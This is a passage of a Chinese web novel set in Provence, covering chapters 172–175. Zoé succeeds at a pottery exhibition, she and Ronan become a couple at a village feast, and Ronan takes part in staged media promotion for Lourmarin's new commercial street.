“我想了好久回送什么礼物给你,但你什么都不缺,我也没发现你对什么东西特别感兴趣,我知道你真心喜欢小黑和马赛,它们就算是我给你的两个回礼了。”佐伊笑容满面的说,“终于还清了!” 第一个礼物是赭石盘子,第二个是今天的帽子。 罗南小心翼翼的把盘子们装起来,坏笑着对罗伊挑了一下眉毛: “还清?那肯定是没有的,我又给你准备了一个礼物,你现在还欠我一个回礼。” “还有礼物?”佐伊的嗓音不自觉的提高起来。 罗南急切的催促她: “快收拾,回家给你。” 第172章 现场回礼 罗南的赌注完全押对了。 在高德曼教授和她进行对话后,剩下几个器具也被订购了出去,佐伊参展的13件器物全部留在了艾克斯,带走的只有6个‘抽象’小木雕。 而且之后又陆续有2个合作方找到佐伊,希望能和她进一步接触。 游客和设计师们也对佐伊热情了起来。 一直到即将离开,佐伊身边依然有人在和她说话。 “亲爱的,你是不是要火了?”车子行驶起来后,莉亚激动的问佐伊,“这么多人找你.” 佐伊对妈妈做了一个‘你想太多’的可爱表情: “合作方只是想看看我的作品,并不一定有合作机会,而且留联系方式也是同行之间的正常交流,做这一行不容易,大家要‘抱团取暖’。” “那也很厉害了!”路易的语气里有掩饰不住的骄傲,“说不定你马上就要继续参加展会,而且是被主动邀请去的。” 佐伊开心的说: “未来的事情说不好,但你们的女儿的确小小的发了一笔财。” “那13个器具卖了很多钱?”莉亚激动的问。 佐伊回头对他们说: “主办方给我们的作品标了很高的价格,我最便宜的一个杯子也卖了1000法郎,扣去给展会的分成.应该能拿到1万多。” 这就是参与展会的好处。 同样的东西在集市上只能卖一二百,但到了这里就变成了一两千。 别问为什么,问就是‘艺术是无价’的。 “哦!上帝!!”莉亚激动的双手捂嘴。 对于一个家庭主妇来说,1万法郎是一个不敢想的数字。 路易更是激动的不成样子,挥舞着双拳说: “你已经比我更能赚钱了!” 这次佐伊没有谦虚: “有了这次经历,未来我的杯子和盘子可以提高一些售价,经济条件有所改善后,能拿出更多的时间创作了。” 佐伊现在做的东西大部分是易于售卖的器具,一旦器具的单价提升,她就可以降低制作数量,用更多的时间‘搞艺术’了。 “什么杯子和盘子,那是艺术品!”罗南也开心的附和。 佐伊这么多年的付出终于有所收获了! “它们和艺术品的差距还远着呢——”佐伊笑着摇头,之后看着罗南的侧脸问,“我们在艾克斯吃顿大餐再回家吧,就当庆祝一下?” 今天绝对是一个值得庆祝的大日子。 罗南笑着指了指后排的路易: “你筹划的太晚了,你爸爸早就把你的‘庆功宴’安排起来了。” 路易拍着前排的两个座椅靠背说: “不不不,‘庆功宴’的规模要升级!罗南,你帮我找一个有电话的地方停下,我要给弗雷迪打电话,让他送一只整羊去你家!” 路易和莉亚去了艾克斯,所以今晚的聚会地点在罗南家。 罗天海和冯珍当然很乐于接下这件事,从中午就开始准备了。 冯珍数了数碟子: “16个菜,是不是有点少啊,再加4个凑20个吧?” 罗天海回头笑着对妻子说: “你今天怎么这么激动?又不是第一次在咱家办聚会,搞的好像罗南要办‘订婚宴’一样。” 冯珍打开冰箱,看看还能做点什么: “佐伊的‘庆功宴’在咱们家办,说明路易和莉亚没拿咱们当外人.你以为你儿子的‘订婚宴’还远啊?” “真的?”罗天海木讷的问,“罗南和你说什么了吗?” 罗天海从不和罗南聊个人问题。 两个大老爷们聊那些情情爱爱的话题多肉麻啊。 所以儿子一直在跟他妈‘通报’进展吗? 冯珍不耐烦的对罗天海摆手: “行了行了,你快做饭吧,有你这么个木头爹,难怪你儿子也是个木头疙瘩。” 后悔啊,太后悔了。 她当年要是找了一个‘风情万种’的男人,现在孙子都能抱上仨了。 冯珍正在冰箱里面翻翻找找,门口有人敲门。 她小跑过去,打开门一看是弗雷迪: “你不是说送完货才能来吗?” 弗雷迪指了指自己身后的货车; “我就是来送货的,你家里还有谁在?快一起叫出来,一整只羊和一整头牛咱们两个搬不动。” “啊?一整只羊和一整头牛?”冯珍惊讶的问弗雷迪,“谁让你送来的?” 弗雷迪打开货车门: “罗南,他说今晚的规格要‘升级’。” 冯珍倒吸一口凉气。 不会真是‘订婚宴’吧? 有好事发生,几个人回卢尔马兰的路上也是欢声不断。 路易和莉亚生动形象的给佐伊描述了几天前罗南家的‘盛况’。 “那天罗南来了至少40个人,吃饭都是分批吃的。”路易笑着说。 “还好去的女人多,否则饺子都包不过来。”莉亚对佐伊说,“亲爱的,你没吃上饺子太遗憾了,那真的很好吃。” 罗南单手扶着方向盘: “想吃随时都可以去我家,那很好做。” 佐伊笑着问罗南: “我不在的这几天,你挺忙的啊。” 一场雨都能被你搞成节日了。 罗南笑容灿烂的说: “那确实,每天忙的不得了,做了好几件‘大事’!” 佐伊撑着脑袋问: “什么大事?” 罗南趁着一个转弯,扭头看向一旁的佐伊: “回去就能看到了。” 佐伊一到罗南家,马上得到了‘明星’一样的待遇。 所有人都围着她问艾克斯的展览怎么样。 路易化身为佐伊的‘经纪人’,保护着自家艺人说: “现在还不是说的时候,一会在餐桌上,我会给大家公布一个‘振奋人心’的好消息!” 佐伊无奈父亲的‘幼稚举动’,但又不想破坏他的‘计划’,只能什么都不说。 但普罗旺斯人多好事啊,男男女女们把佐伊问的苦不堪言,即使躲在角落里也不放过她。 “我和佐伊出去有事要办,你们别缠着她了。”罗南‘警告’他们。 佐伊出了罗南家的门,抬着头深呼吸了一口: “感谢你把我解救了出来。” “救你?”罗南眨了眨,“我是真找你有事。” 罗南刚刚一直在后院烤羊,并没有看到屋子里发生的事情。 佐伊兴奋的小跳了一下: “邀请我陪你一起烤羊吗?” 佐伊对食物和烹饪都没有太大的兴趣,但因为罗南做饭好吃,她现在也有些‘跃跃欲试’了。 “那个不着急,你先跟我来这边。”罗南笑着对她招手。 佐伊跟着罗南来到后院,又一路穿过户外厨房和用餐区,来到了一棵安静的大树下。 罗南兴奋的指前方: “我这几天给你做了两个吊椅,快坐上去试试!” 一个多月前,罗南就开始考虑他能为佐伊做点什么了。 佐伊处处为他着想,帮助他解决午睡困难问题、给他拿防护道具还有许许多多生活上的照料,反观罗南一直是被给予方。 不止是佐伊在思考罗南的喜好,罗南也同时在回忆佐伊的喜好。 佐伊说过,她从小就喜欢可以左右摆动的东西。 于是罗南趁着她去艾克斯的这段日子,做了两个吊椅。 面对高德曼教授的提问,佐伊的情绪和声音没有任何起伏,她本身也不是一个喜欢有情绪波动的人。 但看到吊椅,她的情绪出现了明显的起伏和波动,甚至嗓音都开始抖动了: “你听到了?” 她只和罗南说过那一次,而且那个时候罗南在闭着眼睛睡觉。 “快试试!”罗南催促佐伊,激动的像个孩子。 佐伊坐上吊椅,拍了拍自己身边的位置,温柔的对罗南说: “你也坐。” “等下。”罗南突然小跑着走了。 过了半分多种,他抱着一个盘子回来,坐到佐伊身边,把盘子递给她: “卡瓦永的甜瓜,我让皮埃尔带回来的。” 佐伊还跟罗南说过另一个她喜欢的东西——卡瓦永甜瓜。 无论结局怎样,今天都是佐伊事业上的‘里程碑’日子,罗南前几天就开始打听最近有谁要去卡瓦永附近,想让她回到卢尔马兰能立即吃到最爱吃的东西。 佐伊的情绪起伏更大了,拿着那盘甜瓜久久没有说话。 谁说罗南不懂浪漫和风情? 她只跟罗南说过两个喜欢的东西,罗南全部记住了 这份突如其来的浪漫,彻底把佐伊的心击穿了。 罗南觉得气氛有点尴尬,把吊椅轻轻晃动起来,语气轻快的说: “你看,你又欠我一个回礼了,这次我自己点,你送我一个——” 佐伊突然开口,说出来的话也把罗南的内心击穿了。 “我把自己送给你怎么样?” 第173章 罗南今天超勇的! 罗南的心砰砰砰的狂跳。 在电光火石间思索应该用什么样的语气、什么样的回答迎接这个同样属于自己的‘大日子’。 但佐伊不给他任何的思考时间,着急的‘强调’: “我不知道巴黎人对待礼物的态度是什么,但在普罗旺斯,送出去的‘礼物’是不会收回的。” 佐伊在表达她的决心。 无论罗南同意与否,她都要把自己‘送出去’。 你不接受,我就追。 追到你点头为止。 罗南原本还有些紧张,佐伊的‘补充说明’把他逗笑了。 他扭头对上佐伊清澈明亮的眼睛,笑着说: “你不够诚心啊,这‘礼物’本就是我的。” 谁说我是害羞的巴黎人? 我超勇的好不好! 佐伊暂时把‘感动到一塌糊涂’的情绪放到一边,习惯性的逗罗南: “早就是你的,为什么不把‘礼物’收起来?还有我们收到礼物后习惯当面拆开并对‘礼物’加以称赞,这些我都没见到。” 罗南反驳道: “我虽然没有说什么,但我一直在做啊。” 他和佐伊之前虽然没有正式确定关系,但干的一直是谈恋爱的事。 全卢尔马兰谁不知道,他们的璀璨明珠被一个叫罗南的巴黎小子拐跑了? 佐伊的腿在空中荡漾起来,笑的像花儿一样: “你做什么了? 罗南勇敢的指着院子的某个方向说: “装修后院的时候我在想,要留个地方建一个大的木工作坊,把我们俩的所有工具都放进去,盖房子的木材我都堆在那里了,想建随时可以开始。” 之后他指向院子的另一个角落: “那里未来给你搭一个巨大的工作室,可以放三四个窑炉的那种,还要有一整面墙的展示柜,把你的作品全摆出来,尺寸我都量好了。” 罗南又指着身后说: “我已经留出呼呼羊圈的位置,很大很大,你想养什么都行,我帮你照顾。” 他继续指着头顶说: “我们还可以搭一个树屋,就在这棵树上,树枝我都让卡福帮忙修好了,动物们在院子里玩耍,我和你在树屋里看书陪它们。” 罗南的‘勇气条’逐渐触底,主要是佐伊看他的眼神太赤裸,他的音调越来越小: “如果你不喜欢这里,我们就去商业街那个房子住,这次我只装修一层,二层和三层都可以按照你的喜好装修,如果你想安静一些,我们未来就还在这里住其实屋子里有很多地方我都没有来及弄,你喜欢什么样我就弄成什么样。” 【与异性发生亲密接触幸福度增加25点】 佐伊紧紧的靠到罗南身上,用轻松的语气说: “你居然在装修后院的时候,才把我放到你的未来计划里?” “啊?”罗南低头。 怎么问起这个了? 佐伊笑意盈盈的说: “我可是从很早之前就打你的‘主意’了。” “什么时候?”罗南一怔。 佐伊爽朗的说: “冬天。” “那么早?”罗南瞪大眼睛。 佐伊抬头对上罗南的眼睛: “其实我很久前就想向你表白,但我忍住了.不过今天终于不用再忍了。” 她无比深情的说: “罗南,我终于看到‘未来’了,现在我有能力和你一起努力,让我们的生活变得越来越好、越来越幸福。” “到底是什么‘振奋人心’的消息,还要等到开饭了才能公布?” 佐伊不在,好事的普罗旺斯人只能去缠路易和莉亚。 莉亚闷头帮罗天海和冯珍做饭,拿旁人当空气,路易成了大家新的一轮集火目标。 “当然是能‘吓死’你们的大消息,我只能告诉你们——佐伊身上发生大喜事了。”路易的嘴角似乎被石膏固定住了,今天回来后只能向上翘着。 弗雷迪小声咕哝: “没意思,就知道吊人胃口。” 见到罗南回来,阿兰和弗雷迪又把他缠住: “罗南罗南,你知道路易要宣布的大消息是什么吗?” 罗南也去了艾克斯,他肯定知道! 罗南笑容灿烂的说: “你们还是等路易公布吧,我就不提前‘剧透’了。” “罗南,你过来!”冯珍对他摆了摆手。 她把儿子带到一楼的储物间里,严肃的问: “佐伊在艾克斯发生什么事了?” 罗南以为是什么重要的事找他,没想到居然也是为了这个,无语的说: “马上就开饭了,再等一等,路易一定会把‘故事’讲的非常精彩。” 冯珍语重心长的说: “我不是在意消息是什么内容,我是想提醒你等佐伊真的成了‘艺术家’,还有你什么事啊?你能不能上点心,别那么被动了!” 看路易那个兴奋样子,佐伊一定是在艾克斯有了什么‘际遇’,说不定马上就要‘飞黄腾达’了。 罗南虽然长的帅、能赚钱、性格也好,但佐伊的未来比在卢尔马兰开餐厅、当农夫的罗南更广阔和广大。 这傻孩子赚钱挺厉害,这个道理怎么就想不明白呢。 母亲这话说的让罗南更‘无语’了: “我被动?妈妈,你太不了解我了。” 等路易宣布完佐伊的好消息,罗南就要向所有人宣布——卢尔马兰的璀璨明珠已经是我的了。 以往的聚会,大家最在意的事就是吃吃喝喝。 但今天,路易把大家的‘胃口’吊的太高了。 以至于菜还没上齐,他们就嚷嚷着晚餐开始了,让路易快点公布他们家的好消息。 路易也憋不住了,整理了一下自己的衣服,起立端起酒杯,郑重无比的说: “我要隆重的向大家宣布一个好消息,一个对于佐伊来说无比重要的消息!” 他温柔的看向宝贝女儿: “佐伊,是你自己跟大家说,还是我来替你说?” 佐伊看罗南,似乎在征求他的意见。 罗南压低声音对她说: “你如果不想听路易‘添油加醋’的描述高德曼教授是如何‘点评’你的,就自己说吧。” 佐伊听话的点了下头,对路易说: “那我自己说吧,爸爸。” 路易开心的说: “好!” 这是属于佐伊的高光时刻,聚光灯应该交给她。 一桌人齐唰唰的看向佐伊。 莉亚和路易甚至已经做出了鼓掌的前置动作,只等佐伊说完就要带头‘祝贺’她了。 佐伊吸了一口气,用平静到不能再平静的语气说: “今天发生了一件很重要的事。” 大家的心随着佐伊的话提了起来。 佐伊不是路易。 她说‘重要’那一定是非常重要了。 佐伊突然看着身边的人: “今天,我和罗南正式确认关系了。” “祝——”路易的笑容凝固在脸上,“什么?!” 罗南瞳孔地震。 怎么有人抢我的台词? 突然,领掌的人出现了。 冯珍带头鼓掌: “太好了,太好了!” 原来今天真的是‘订婚宴’啊? 我儿子什么时候这么出息了?! 弗雷迪和阿兰等人反应过来,也跟着鼓掌: “上帝,祝贺你们!” 弗雷迪幸灾乐祸的说: “我以为你们早就在一起了,罗南,你也太慢了吧?” 老卡尔‘不正经’的说: “都确认关系了还距离那么远?你们之间可以坐下一个我了。” 阿兰对罗南挤眼: “你主动点啊。” 他们都太想看罗南和佐伊谈聊爱的样子了,那场面简直无法想象。 “那么多好吃的菜都堵不上你们的嘴吗?”罗南笑着说。 话音刚落,他听到耳边出现一道在外人听来很微弱,但在他听来‘震耳欲聋’的——啵。 【与异性发生亲密身体接触幸福度增加50点】 佐伊亲完罗南,抱着他的脖子说: “普罗旺斯女人不需要男人主动,罗南以后只需要享受我对他的好就行了。” 一桌人震惊的说不出话来。 罗南这小子运气太好了吧,佐伊居然那么喜欢他吗? 那可是佐伊啊! 罗南脑袋晕乎乎的,大概就是所谓的被幸福冲昏了头脑吧。 他已经不想纠结什么勇气不勇气了,只知道——他的普罗旺斯幸福生活,似乎‘正式’开启了。 今天要庆祝的事情太多。 一是罗南和佐伊确定了关系,二是佐伊在艾克斯展会上发生的事情。 卢尔马兰的‘艺术家’正式起航了! 在这么值得开心的日子里,却有一个人哭丧着脸,不停的喝酒。 “路易,我都不知道你是在为佐伊伤心,还是在为罗南伤心。”阿兰不理解,但却不忘开导路易,“可两个人你都不会失去啊。” “我知道,我什么都知道。”路易挤出一个苦笑。 弗雷迪撇着嘴说: “说真的路易,如果是我的女儿和罗南在一起,我现在可能会开心的站在桌子上跳舞,绝不会是你这个样子。” 路易对弗雷迪摆手: “喝酒吧,今天陪我多喝一点,明天我一定会调整好心情,我发誓。” 老卡尔端起酒杯,和路易碰了一下: “路易,今天大家一直在祝贺佐伊和罗南,但这一杯我祝贺你。” 路易的表情终于有了变化,不理解的问: “为什么要祝贺我?” 我只是一个还没有接受女儿的世界里有了其他男人的失败父亲. 老卡尔摸着拐着,看向不远处那个神采奕奕的年轻人: “罗南马上要开餐厅了,我有一种预感,他会借此机会走出卢尔马兰,成为普罗旺斯大舞台上一颗闪亮的星星,也许卢尔马兰的命运也会为此改变路易,我真的很羡慕你,佐伊和罗南的结合,才是能改变你们家命运的大喜事。” 第174章 ‘演员\’罗南先生 7月末的某一天,希尔维突然到访罗南家。 和她一同到来的,还有一个扛着摄像机的陌生男人。 “什么情况?”罗南一家三口围在门口,不知道这是发生了什么事情。 希尔维清了清嗓子,从随身书包里拿出一个厚厚的信封: “罗南先生,感谢你对卢尔马兰政府的信任,这是我们资助你的‘装修基金’,祝愿你的餐厅生意红火,未来给来自世界各地的朋友们带来不一样的旅行体验。” ‘演戏’都不知道提前通知一下的吗.罗南腹诽了一句。 他双手接下信封,开心的像是一个没见过世面的乡村穷小子: “感谢卢尔马兰政府、感谢卢尔马兰商业街招商办、感谢卢尔马兰旅游中心、感谢卢尔马兰市场管理中心,我一定会继续努力,不辜负政府和各个部门对我的支持和期望。” 希尔维问那个扛着摄像机的男人: “需要再来一条吗?” 摄像师摇头,满意的说: “这小子说的挺是那么回事的,你们要的不就是这种内容吗?人也挺上镜。” 希尔维露出一个夸张的微笑,哈哈大笑着说: “你还真是样样精通啊罗南,你家哪里阳光好?我们换个背景再录点素材。” “餐厅的光线很好。”罗南把母亲冯珍推出去,“其实我们家还有更上镜、更会说话的人。” 希尔维带摄像师进入罗南家: “别着急,都会采的,只是先从你开始。” 罗南一家:“.” 这到底是要干什么? 冯珍坐在罗马柱下,双腿并拢,用最迷人的右30度侧脸面对摄像机。 戴着墨镜的她过足了‘明星’瘾: “没有任何波折,也没有什么存疑,我和他父亲从一开始就很支持罗南开餐厅的决定,团结友爱是我们家一贯的信条,相信一家人齐心协力,一定可以把餐厅顺利的开起来,为卢尔马兰的未来做出一点微薄的贡献。” 十几米外的树荫下。 希尔维喝着冰镇粉红酒,对罗南竖起一个大拇指: “你母亲比你还会说,之后的其他‘项目’我也可以来找她吗?” “你现在这是什么‘项目’?”罗南问她。 希尔维敲着杯子说: “当然是商业街项目,我们把商业街从筹划到最后成型的过程全部记录下来,这是最宝贵的资料,里面需要一些店主们的素材。” “哦,内部用的啊。”罗南失笑着说,“我妈妈以为她要上电视了,你没看到她还去化妆了吗?” 希尔维捂着嘴说: “让你妈妈别着急,8月1号就有电视台来了。” “8月1号?”罗南看向她,“这是什么日子?” 希尔维悄悄的说: “发钥匙的日子,明天开始就要陆续通知你们了。” 其实罗南早在一个多月前就和卢尔马兰政府签订过合作协议。 但8月1号希尔维邀请了媒体来,需要和店主们再‘签约’一次,为了记录下来这有纪念意义的一刻。 罗南以为他的任务,顶多是带着一家人在8月1号去政府‘演演戏’就好了。 没想到这场戏从7月31号就开始了。 7月31号下午,希尔维戴着带着三个年轻女孩再次到访罗南家,吵醒了午睡中的罗南。 罗南语气不算多好的对希尔维说: “你应该知道午睡对普罗旺斯人来说有多重要,什么事情不能晚一点来说吗?” 希尔维严肃的说: “既然你了解午睡对普罗旺斯人的重要程度,就应该知道我们放弃了重要的午睡时间来你家,一定是有更加重要的事情。” 罗南揉了揉眼睛,语气蔫蔫的说: “什么事?” “包装你。”希尔维又恢复了罗南最早认识她时的‘严厉’模样。 她的这幅嘴脸,也同时让罗南回忆起了他们第一次见面的场景,抗拒的说: “我穿平时的衣服就好了,你忘记上次‘包装’之后,那些媒体是怎么挖苦我的了吗?” 我绝不会任你们摆布了! 希尔维给身后的年轻女孩们一个眼神,冰冷的对罗南说: “这次不是给媒体看的。” 那些女孩像变魔术一样,变出了一套又一套衣服: “这些是我们用部门预算去阿普特给你租的,花了不少钱呢,快试试吧。” 罗南紧张的靠到沙发靠背上,似乎想把自己牢牢的锁在这里: “不用你们给我搭衣服,我打电话把佐伊喊来。” 感谢政府对我的器重,又给我花钱了但我有全卢尔马兰最棒的造型师。 希尔维‘不容置疑’的把一套名贵西装扔到罗南身上: “恐怕这不是佐伊擅长的领域,布兰科说你是卢尔马兰的‘门面’,气势和外形上绝不能输了那些外村的‘老板’们,让我们必须把你‘包装’起来。” “什么?”罗南五官扭曲到一起。 8月1号上午。 罗南还没进政府大楼,就被在外面‘视察工作’的布兰科碰到。 “今天感觉怎么样?”布兰科上下打量了一圈罗南,满意的点点头。 罗南松了一下自己的领带,又整理了一下西装: “非常好,感觉活力满满的。” 都把我打扮成‘保险业务员’了,当然要活力满满了。 布兰科陪同罗南一起,向政府大楼的方向走,并和蔼的问: “一会就要拿到钥匙了,紧张吗?” 罗南刚要开口,听到身后的母亲突然咳嗽了两声,他顺着母亲眼神的方向看过去,发现两台摄像机不知什么时候已经对准他和布兰科了。 如果说路易是佐伊的‘经纪人’,那么冯珍一定是罗南的‘经纪人’。 称职的‘经纪人’有义务让自己的艺人把最好的一面展现在镜头下。 罗南对着摄像机的方向,感激的说: “这几天一想到要拿到钥匙,我就紧张的不得了,还好有政府的同事一直来给我做心理疏导,他们详细给我讲解了接下来要做的事情,我想到的想不到的他们都帮我想到了这极大的缓解了我的焦虑,政府工作做的太细致了,感谢你们啊。” 希尔维带头给罗南鼓起掌来。 有其母必有其子,罗南这家伙说的太棒了! 布兰科对希尔维挥了下手: “让摄像机离开这里,我和罗南聊两句。” 希尔维把人带走后,布兰科用感激的语气对罗南说: “让你配合这么多辛苦你了。” 是我们政府要感谢你啊。 罗南终于能卸下伪装做自己了,耸肩道: “今天一早我被嘲笑了好几轮,皮埃尔他们还排队和我合照呢,不过没关系,这一切都是为了卢尔马兰。” 布兰科双手背后,缓慢的张口说道: “商业街上的11栋楼成功招商出去了9栋,其中有4栋是外村人租下的。” 他看向罗南,语气复杂的说: “卢尔马兰的对外形象改变计划,从这一刻就要开始了,其他四个店主都是世世代代生活在这里的村民,只有你.我们希望你能给那些外村人留下些不一样的印象,让他们知道卢尔马兰不是‘穷乡僻壤’。” 罗南笑着说: “他们没有享受本村村民的补贴,依然决定来这里开店,说明看好卢尔马兰的未来,有没有可能是你太紧张了?” 布兰科拍了拍罗南的后背,示意他进去吧: “没有享受本村村民的补贴依然在这里开店,说明他们是名副其实的有钱人,而且据我所知,那几个人的背景都不简单,有钱又有势.谁能保证他们的行事作风是什么样的呢?当然,希望是我想多了。” 罗南在巴黎生活的时候都很少穿西装,不过为了给卢尔马兰撑场子,还是拿出了不算太差的‘演技’,举手投足尽显气度,真的跟大老板一样。 他不停给自己做心理暗示: 只需要吓唬住那些外村人就好了。 反正他们不认识你大胆的‘装’! 谁知他刚一进签约办公室就‘破功’了。 上帝,外村店主里怎么还能有熟人啊? 第175章 谢谢,演出费结一下 这世界是有多小? 罗南居然在签约办公室里见到了留着两撇小胡子的阿普特糖果商人加布里埃尔。 加布里埃尔非常满意罗南的这个反应,张开双臂热情的将他抱住: “当我听他们说你在这里租下了第一个店铺时,我的表情和现在的你一样,所以我发誓也必须看到你的这个表情!你知道我忍得有多辛苦吗?哈哈哈——罗南,我们现在是邻居了!” “你怎么来卢尔马兰开店了?”罗南在加布里埃尔的后背上用力拍了两下,他们好久没见了。 加布里埃尔伏在罗南耳边小声说: “我会在普罗旺斯尽可能多的扩张经营范围,之前还没有涉足过卢尔马兰。” “明白。”罗南笑着站到加布里埃尔身边,“现在‘签’到谁了?” “第一个还没开始‘签’。”加布里埃尔兴致勃勃的对罗南说,“我们去外面聊一会吧,这里要等一阵子才开始,别影响大家。” “好。”罗南和加布里埃尔像好兄弟一样,‘勾肩搭背’的离开。 加布里埃尔和罗南的‘老友叙旧’情节,把一屋子人搞懵了,尤其是其他三个外村店主。 不需要工作人员说什么,签约室自动分成了两个阵营。 一边是穿着时尚、气度不凡的外村店主,他们大多来自阿普特和艾克斯这种大城镇,另一边是穿着朴素、明显有些紧张的本村村民。 卢尔马兰民风淳朴,一想到即将要面对摄像机,村民们就感觉浑身不自在,而且身边都是一起生活了几十年的熟人,没有什么交谈的欲望,全部安静的站在一边。 外村店主们一来就热情的聊了起来,聊天过程中发现其中居然有一个普罗旺斯的‘名人’。 加布里埃尔被誉为阿普特蜜饯大王,是在普罗旺斯非常有名的大商人,生意都做到国外了。 其他三个人正想要和加布里埃尔‘深度结交’一下,没想到他居然和另一个店主跑了。 诶,不对,不对劲! “不是说只有4个外村店主吗?”一个头发烫的像狮子一样、具有浓郁摇滚气息的女店主问。 另一个戴着眼镜的男店主看了看其他两个人: “我们其中有卢尔马兰人?” 和加布里埃尔出去的那个男人穿着得体、举止大方,而且是黄皮肤,肯定不是卢尔马兰村民。 那么只可能是他们三个人里出现了一些‘误会’。 最后一个微胖的中年男店主叼着烟斗说: “我只来过卢尔马兰五六次,咖啡厅未来也会交给我妻子的弟弟打理,这笑话一点都不好玩。” 那个摇滚女也辩解道: “我来自艾克斯。” 卢尔马兰的几个店主听到他们谈话,友好的提醒: “罗南是卢尔马兰的村民。” “那个人是卢尔马兰的村民?”摇滚女的爆炸头剧烈的抖动起来,“这里怎么会有黄皮肤的村民?” 一个卢尔马兰村民笑着说: “将来你们就会明白,罗南不仅是卢尔马兰的本村村民,还是最特殊的那个。” 外村店主们很快体会到了那个叫罗南的小伙子在卢尔马兰的特殊性。 签约仪式开始前,卢尔马兰的村长布兰科进行了一小段‘致辞’。 他们意外的发现,这名村长拥有极佳的言谈举止,一看就是见过大世面。 布兰科自己也是‘卢尔马兰形象改变计划’中的一个环节,他用平常到不能再平常的语气,讲出了和一个个法国巨星的交集和有趣故事,并很委婉的表达,现在和戛纳依然保持着密切的联系。 而这位资深电影人,在最后的合照环节强行把罗南拉到了他的身边,并且全程对他礼貌有加。 那不该是一个村长对正常村民的态度,也不该是见过大世面的电影人对普通店主的态度。 “那个叫罗南的家伙不一般。”戴眼镜的男店主录制完‘签约仪式’后,和另外两个外村同行说。 “他和加布里埃尔很熟,村长对他似乎也很尊重.你们之前有听过他的名字吗?他是干什么的?”摇滚女问另外两个人。 “没有。”微胖的中年男店主说,“不过我们去问问不就知道了?” 说完,他主动走到罗南身边: “嗨伙计,你要在商业街上开什么店铺?” 罗南礼貌的说: “开餐厅。” 摇滚女意外的侧了一下脑袋,开玩笑的对那个中年男店主说: “你们以后是‘竞争对手’了。” 咖啡厅和餐厅的区别并不大,都是可以吃饭的地方。 罗南笑着摇头: “不会有竞争的,我开的是中餐厅。” “中餐厅?”戴眼镜的店主以为罗南在开玩笑,“别逗了伙计,普罗旺斯哪有过什么中餐厅啊,没人了解中餐。” 罗南平摊双手: “所以我开了。” “嘿,我‘签’完了!”加布里埃尔从办公室出来,马上缠上罗南,“中午能去你家吃饭吗?给我再弄几道中国菜怎么样?” “当然没问题。”罗南指门外,“我去跟我爸爸说一声,让他现在回去准备。” “那我就不客气了!”加布里埃尔又和罗南像好兄弟一样,‘勾肩搭臂’的出去了。 三个店主彻底崩溃了。 这个罗南到底是什么来头? 政府办公大楼的某个办公室内。 “媒体们到了吗?”布兰科问希尔维。 希尔维回复道: “到了,正在休息,‘签约仪式’结束马上安排对店主们的采访环节,电视台的人也到了,正在村里拍素材。” 布兰科点了点头: “那就按照事先的安排进行吧。” “好的,那我出去了。”希尔维拿着文件离开。 “等等。”布兰科突然把希尔维叫住,“别忘了给罗南一些特殊性,罗南是卢尔马兰的门面,而这个门面需要我们帮他撑起来,要让那些外村店主知道,卢尔马兰绝不会亏待‘爱它’的人。” 希尔维眨了一下眼睛: “放心吧,村长。” 这个我最擅长啦。 罗南以为今天来的媒体规模和上一次去集市拍摄时差不多,没想到进行了巨大的升级。 除了之前来的那几家杂志外,伊内斯的杂志社也派人来了。 米切兰杂志版是南法最大的杂志机构,连加布里埃尔都有些吃惊了。 “卢尔马兰政府很重视商业街项目啊,请了这么媒体和电视台。” 罗南和他形影不离的站到一起: “那是当然,这是卢尔马兰最重要的项目。” 加布里埃尔开心的说: “看来这次投资是很明确的决定。” 罗南和加布里埃尔像是两个不爱学习的初中生,躲在‘老师’看不到的地方偷偷聊天,全然不知在几米外,希尔维为了给罗南一点‘特殊性’使出了多大的力气。 “下一个采访罗南吧?”媒体拿着希尔维事先给他们的提纲问。 几个外村店主一听到‘罗南’这个单词就不自觉的竖起耳朵。 希尔维清了清嗓子,声音洪亮的说: “上午采不采罗南都可以,下午还要在喷泉、商业街、卢尔马兰城堡和葡萄园这几个地方对他进行更加详细的采访,上午先采其他人吧。” 下午的素材是旅游局要的,罗南作为卢尔马兰的‘特色’给游客们录制一条带大家云游卢尔马兰的小短片,出境的不止是罗南一个人,还有好几个卢尔马兰村民,这事本村人都清楚。 上午的采访和下午的采访是两件事,希尔维故意把它们混作一团。 三个外村店主瞳孔大地震。 什么? 罗南可以得到更多的曝光? 这些宣传太重要了! 说不定可以直接给店铺带来流量! 演得差不多了,希尔维又嘟囔了一句: “要不也采点吧,素材多点更好。” 她对着几米外喊: “罗南,过来采访了!” “来了来了!”罗南暂时离开加布里埃尔,坐到采访椅上。 一个女记者对罗南挑了下下巴: “又见面了。” 罗南定睛看了她几秒: “是你啊,差点没认出来。” 这是曾经在集市上刁难过他的那个女记者。 “我今天也不会对你太‘客气’的。”那女记者开玩笑的说。 “还能比上次更不客气吗?”罗南整理了一下西装,“开始吧。” “那是《南法旅行指南》的黛西。”摇滚女店主抓着头发说,“罗南和媒体的关系也这么好吗?” “这么厉害的人物,我为什么从来没有听过他的名字呢?”戴眼镜的男店主皱起眉头。 “伙计们,现在的重点不是罗南是谁,而是他为什么可以得到卢尔马兰政府如此大的厚爱呢?”微胖的中年男店主一针见血的说,“我不认为和他是本村村民有关,其他卢尔马兰村民也没有得到这种对待,我也不认为和背景有关,加布里埃尔同样没有得到这个待遇。” 卢尔马兰政府给他们留下了极其深刻的印象。 一个和明星们关系匪浅的村长,一群训练有素的工作人员。 而且他们很舍得砸钱啊! 在普罗旺斯,想干什么事都离不开政府的支持。 罗南如何得到这种特殊待遇的呢? 很快,他们得到了答案。 “是什么推动你在这里租商铺的?”记者问罗南。 罗南抑扬顿挫的说: “因为我相信卢尔马兰政府的眼光,他们在这里搞商业街项目,一定有他们的道理。” “听说你当天咨询,当天签约,不需要再考虑一下吗?”记者继续问。 罗南摇头: “我对卢尔马兰政府非常有信心,那是一批专业又有责任心的人,而且他们为村民考虑了许多,在他们的带领下,卢尔马兰的未来一定会越来越好的。” 希尔维都听得不好意思了,示意记者够了,可以停下了。 罗南演上瘾了,突然对着希尔维的方向鞠了一躬: “最后,感谢政府这段时间的忙碌和付出,你们辛苦了!” 上午的活动结束,所有人离开政府办公楼。 几个外村店主在门口互换联系方式,突然听到了一些‘耳熟’的话。 他们寻声望过去,发现是普罗旺斯的当地电视台在采访一个黄皮肤的中年女性。 “卢尔马兰空气好,环境好,政府好,村民也好,我完全不想回巴黎,甚至还想介绍巴黎的朋友们来这里买房子.” 那女人口若悬河的说了一阵后,工作人员笑着对她说: “好了,3台的采访结束了,咱们换个地方录制5台的。” “后面还几个啊?”冯珍兴奋的问。 